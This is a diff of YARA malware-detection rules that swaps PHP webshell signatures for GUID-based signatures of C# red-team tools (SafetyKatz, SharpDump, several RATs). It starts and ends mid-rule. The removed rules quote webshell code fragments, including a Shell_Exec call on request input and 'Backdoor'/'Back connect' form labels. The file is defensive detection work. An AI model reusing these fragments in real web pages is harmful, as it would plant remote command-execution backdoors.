-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "30990574-02a0-5eed-8317-847b6be13300"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4942-L4955"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c6381412df74dbf3bcd5a2b31522b544"
-		logic_hash = "56b5b9e5518fa8a4be8c48735e997a538b0e534ad8fd72c1419dc0e8353bbc00"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e9312c96-be10-5942-a4da-1fe708cc6699"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/jnqpblc/SharpSpray"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1040-L1054"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d2b757ccfaa924764b3c1869908e730022641e5c78919226370e84e84d6546ae"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<title>G-Security Webshell</title>" fullword
-		$s2 = "<input type=TEXT name=\"-cmd\" size=64 value=\"<?=$cmd?>\" " fullword
-		$s3 = "<? if($cmd != \"\") print Shell_Exec($cmd);?>" fullword
-		$s4 = "<? $cmd = $_REQUEST[\"-cmd\"];?>" fullword
+		$typelibguid0lo = "51c6e016-1428-441d-82e9-bb0eb599bbc8" ascii wide
+		$typelibguid0up = "51C6E016-1428-441D-82E9-BB0EB599BBC8" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__1_C2007_Php_Php_C100_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Obfuscator : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files 1.txt, c2007.php.php.txt, c100.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "00ada6a4-a32a-5184-867d-e10a8c95c41c"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4956-L4970"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6f6cb7c210bcd0f84c2ccff52850b1d673622ae49b83d614d63b5bbba7392327"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d9988b00-1f10-5421-8ffe-49849a5d5902"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/3xpl01tc0d3r/Obfuscator"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1056-L1070"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e56ec4a13dedbf987bf6f8ee1a8dcce31b82348053d541d836086a9923f3b934"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "44542e5c3e9790815c49d5f9beffbbf2"
-		hash1 = "d089e7168373a0634e1ac18c0ee00085"
-		hash2 = "38fd7e45f9c11a37463c3ded1c76af4c"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "echo \"<b>Changing file-mode (\".$d.$f.\"), \".view_perms_color($d.$f).\" (\""
-		$s3 = "echo \"<td>&nbsp;<a href=\\\"\".$sql_surl.\"sql_act=query&sql_query=\".ur"
+		$typelibguid0lo = "8fe5b811-a2cb-417f-af93-6a3cf6650af1" ascii wide
+		$typelibguid0up = "8FE5B811-A2CB-417F-AF93-6A3CF6650AF1" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__Nst_Php_Php_Img_Php_Php_Nstview_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Safetykatz : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files nst.php.php.txt, img.php.php.txt, nstview.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "238242f5-4e57-5edb-8806-ea5e06f1f637"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4971-L4986"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b1e13f75edbbc8f9263e0e516a54330ce57190ba0b45813dad4bafeaeefa389b"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5f6d7432-0bb5-5782-98ec-2c2168f2fc1f"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/GhostPack/SafetyKatz"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1072-L1086"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3de5223d6cbd3af386210531506b270d94a5b89d7e3582e248571e31d3c191d8"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "ddaf9f1986d17284de83a17fe5f9fd94"
-		hash1 = "17a07bb84e137b8aa60f87cd6bfab748"
-		hash2 = "4745d510fed4378e4b1730f56f25e569"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<tr><form method=post><td><font color=red><b>Back connect:</b></font></td><td><i"
-		$s1 = "$perl_proxy_scp = \"IyEvdXNyL2Jpbi9wZXJsICANCiMhL3Vzci91c2MvcGVybC81LjAwNC9iaW4v"
-		$s2 = "<tr><form method=post><td><font color=red><b>Backdoor:</b></font></td><td><input"
+		$typelibguid0lo = "8347e81b-89fc-42a9-b22c-f59a6a572dec" ascii wide
+		$typelibguid0up = "8347E81B-89FC-42A9-B22C-F59A6A572DEC" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__Network_Php_Php_Xinfo_Php_Php_Nfm_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Dropless_Malware : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files network.php.php.txt, xinfo.php.php.txt, nfm.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "4fd11db6-902d-5f1a-96c5-9dfcccce7488"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4987-L5001"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "913ff19b6448d3b074440c2a5f85d85813fdf010d33dc57c89ba1e5db6455e11"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "0da3b6d8-2002-590e-a8d5-f6c84acfb083"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/NYAN-x-CAT/Dropless-Malware"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1088-L1102"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "832d175372c322cd488594be558819375fb9f9f100ff0cbb880231c9fc7138f7"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "acdbba993a5a4186fd864c5e4ea0ba4f"
-		hash1 = "2601b6fc1579f263d2f3960ce775df70"
-		hash2 = "401fbae5f10283051c39e640b77e4c26"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = ".textbox { background: White; border: 1px #000000 solid; color: #000099; font-fa"
-		$s2 = "<input class='inputbox' type='text' name='pass_de' size=50 onclick=this.value=''"
+		$typelibguid0lo = "23b739f7-2355-491e-a7cd-a8485d39d6d6" ascii wide
+		$typelibguid0up = "23B739F7-2355-491E-A7CD-A8485D39D6D6" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__W_Php_Php_C99Madshell_V2_1_Php_Php_Wacking_Php_Php_Specialshell_99_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_UAC_Silentclean : FILE
 {
 	meta:
-		description = "Semi-Auto-generated "
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ee1fd555-f1bc-59a5-998c-f6098de8623e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5002-L5017"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a4bae5456baf0d8d894165c84d66118f2b16cfc040e299c2032eccb6a9eb4822"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "2dde9632-10c5-5c91-8bd9-2fb80d6f0c49"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/EncodeGroup/UAC-SilentClean"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1104-L1118"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2e624d84a6d47c99b28ef41918f1d88cb219a90d35691d0cce8fe10a0a237650"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
-		hash1 = "3ca5886cd54d495dc95793579611f59a"
-		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
-		hash3 = "09609851caa129e40b0d56e90dfc476c"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "echo \"<hr size=\\\"1\\\" noshade><b>Done!</b><br>Total time (secs.): \".$ft"
-		$s3 = "$fqb_log .= \"\\r\\n------------------------------------------\\r\\nDone!\\r"
+		$typelibguid0lo = "948152a4-a4a1-4260-a224-204255bfee72" ascii wide
+		$typelibguid0up = "948152A4-A4A1-4260-A224-204255BFEE72" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__R577_Php_Php_Sniper_SA_Shell_Php_R57_Php_Php_R57_Shell_Php_Php_Spy_Php_Php_S_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Desktopgrabber : FILE
 {
 	meta:
-		description = "Semi-Auto-generated "
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "44b53124-c8b6-545b-819f-77fd65e5d61b"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5018-L5035"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0df3e00f752f85aa1f150c01e3ef41b9a5cd3d3ce2060965992320cb3c4d87ae"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "7db07291-d6d4-5527-a879-27f899dbd6fe"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/NYAN-x-CAT/DesktopGrabber"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1120-L1134"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "150a2f89eee5e5e0fa77c42b004e170d8706db69e02293f297376933ec03d1be"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
-		hash1 = "911195a9b7c010f61b66439d9048f400"
-		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
-		hash3 = "8023394542cddf8aee5dec6072ed02b5"
-		hash4 = "eed14de3907c9aa2550d95550d1a2d5f"
-		hash5 = "817671e1bdc85e04cc3440bbd9288800"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "'eng_text71'=>\"Second commands param is:\\r\\n- for CHOWN - name of new owner o"
-		$s4 = "if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult"
+		$typelibguid0lo = "e6aa0cd5-9537-47a0-8c85-1fbe284a4380" ascii wide
+		$typelibguid0up = "E6AA0CD5-9537-47A0-8C85-1FBE284A4380" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__C99Shell_V1_0_Php_Php_C99Php_Sses_Php_Php_Ctt_Sh_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Wsmanager : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, SsEs.php.php.txt, ctt_sh.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5036-L5052"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "137f98b636ec012d7d5e687f7d24ae88e8d3261360e60a4bbc03da248cce381e"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "b8c330dc-74aa-5a33-8af6-17c9beb8be81"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/guillaC/wsManager"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1136-L1150"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f335250f717cdcc2e9c6022a1fc22a61b4eec59a5c69c9359c2f7658081117b3"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
-		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
-		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
-		hash3 = "671cad517edd254352fe7e0c7c981c39"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze\""
-		$s2 = "\"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm\""
-		$s4 = "\"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo\""
+		$typelibguid0lo = "9480809e-5472-44f3-b076-dcdf7379e766" ascii wide
+		$typelibguid0up = "9480809E-5472-44F3-B076-DCDF7379E766" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__R577_Php_Php_Spy_Php_Php_S_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Uglyexe : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files r577.php.php.txt, spy.php.php.txt, s.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "d287136c-534b-51a4-88fc-40ef9f22d910"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5053-L5067"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "09892789e8dad16f9fc7c4e22525e5d0af3af401a4b2655b70f7a6856888875c"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5833e6c5-f078-5eb5-9519-76710d7da0e1"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/fashionproof/UglyEXe"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1152-L1166"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7f3e5ef8fc7d6994c1ebab8fc35624691d8f200acf6068b0948fd818f8ad2223"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
-		hash1 = "eed14de3907c9aa2550d95550d1a2d5f"
-		hash2 = "817671e1bdc85e04cc3440bbd9288800"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "echo $te.\"<div align=center><textarea cols=35 name=db_query>\".(!empty($_POST['"
-		$s3 = "echo sr(45,\"<b>\".$lang[$language.'_text80'].$arrow.\"</b>\",\"<select name=db>"
+		$typelibguid0lo = "233de44b-4ec1-475d-a7d6-16da48d6fc8d" ascii wide
+		$typelibguid0up = "233DE44B-4EC1-475D-A7D6-16DA48D6FC8D" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_C99_Generic
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpdump : FILE
 {
 	meta:
-		description = "Semi-Auto-generated "
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5068-L5088"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "422bc3a0d9b04b1e37ad954faacb1ec7841fe529c1eb19634bdbfe83da374c73"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "b613092f-9006-5405-b07e-59737410ac1e"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/GhostPack/SharpDump"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1168-L1182"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "65e28a356cc975a3014f59551035a324d21039e39a8596b5980ad0c0e4d0a811"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
-		hash1 = "3ca5886cd54d495dc95793579611f59a"
-		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
-		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
-		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
-		hash5 = "09609851caa129e40b0d56e90dfc476c"
-		hash6 = "671cad517edd254352fe7e0c7c981c39"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "  if ($copy_unset) {foreach($sess_data[\"copy\"] as $k=>$v) {unset($sess_data[\""
-		$s1 = "  if (file_exists($mkfile)) {echo \"<b>Make File \\\"\".htmlspecialchars($mkfile"
-		$s2 = "  echo \"<center><b>MySQL \".mysql_get_server_info().\" (proto v.\".mysql_get_pr"
-		$s3 = "  elseif (!fopen($mkfile,\"w\")) {echo \"<b>Make File \\\"\".htmlspecialchars($m"
+		$typelibguid0lo = "79c9bba3-a0ea-431c-866c-77004802d8a0" ascii wide
+		$typelibguid0up = "79C9BBA3-A0EA-431C-866C-77004802D8A0" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__W_Php_Php_C99Madshell_V2_1_Php_Php_Wacking_Php_Php_C99Shell_V1_0_Php_Php_C99Php_Specialshell_99_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Educationalrat : FILE
 {
 	meta:
-		description = "Semi-Auto-generated "
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5089-L5106"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b133cf947476a1c94ed90b5cd3757ca8aa429be4284d75664625896d9cfa687f"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "b1d54bea-a6c4-5c57-9ee1-7438d503b01d"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/securesean/EducationalRAT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1184-L1198"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ad6baa993ba3da60233da39ec55b10ab0fe3b2ca52882972b54c7d199e7b6abb"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
-		hash1 = "3ca5886cd54d495dc95793579611f59a"
-		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
-		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
-		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
-		hash5 = "09609851caa129e40b0d56e90dfc476c"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$sess_data[\"cut\"] = array(); c99_s"
-		$s3 = "if ((!eregi(\"http://\",$uploadurl)) and (!eregi(\"https://\",$uploadurl))"
+		$typelibguid0lo = "8a18fbcf-8cac-482d-8ab7-08a44f0e278e" ascii wide
+		$typelibguid0up = "8A18FBCF-8CAC-482D-8AB7-08A44F0E278E" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__W_Php_Php_Wacking_Php_Php_Specialshell_99_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Stealth_Kid_RAT : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - from files w.php.php.txt, wacking.php.php.txt, SpecialShell_99.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "c01ad0e5-1aff-5128-9d0c-5d0967532a4b"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5107-L5121"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7bdaebfb093b58a2fd33b4bbeea8465d0f724383b4855eb521a3e339ee153781"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "f26e040a-dcc7-518f-89f2-3333f83fa14a"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/ctsecurity/Stealth-Kid-RAT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1200-L1216"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0c251c306f416d7a3192d7a11d87b99ab62e2d32453ddecb75a3c517f24a0342"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
-		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
-		hash2 = "09609851caa129e40b0d56e90dfc476c"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\"<td>&nbsp;<a href=\\\"\".$sql_surl.\"sql_act=query&sql_query=\".ur"
-		$s2 = "c99sh_sqlquery"
+		$typelibguid0lo = "bf43cd33-c259-4711-8a0e-1a5c6c13811d" ascii wide
+		$typelibguid0up = "BF43CD33-C259-4711-8A0E-1A5C6C13811D" ascii wide
+		$typelibguid1lo = "e5b9df9b-a9e4-4754-8731-efc4e2667d88" ascii wide
+		$typelibguid1up = "E5B9DF9B-A9E4-4754-8731-EFC4E2667D88" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__W_Php_Php_C99Madshell_V2_1_Php_Php_Wacking_Php_Php_Sses_Php_Php_Specialshell_99_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcradle : FILE
 {
 	meta:
-		description = "Semi-Auto-generated "
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ee1fd555-f1bc-59a5-998c-f6098de8623e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5122-L5138"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6dbd40e19d4d5753dbd1f7e627bccc08a60430de8138a923f13e836d19dde65c"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e2123a73-2609-559d-a122-923ebf8fd668"
+		date = "2020-12-13"
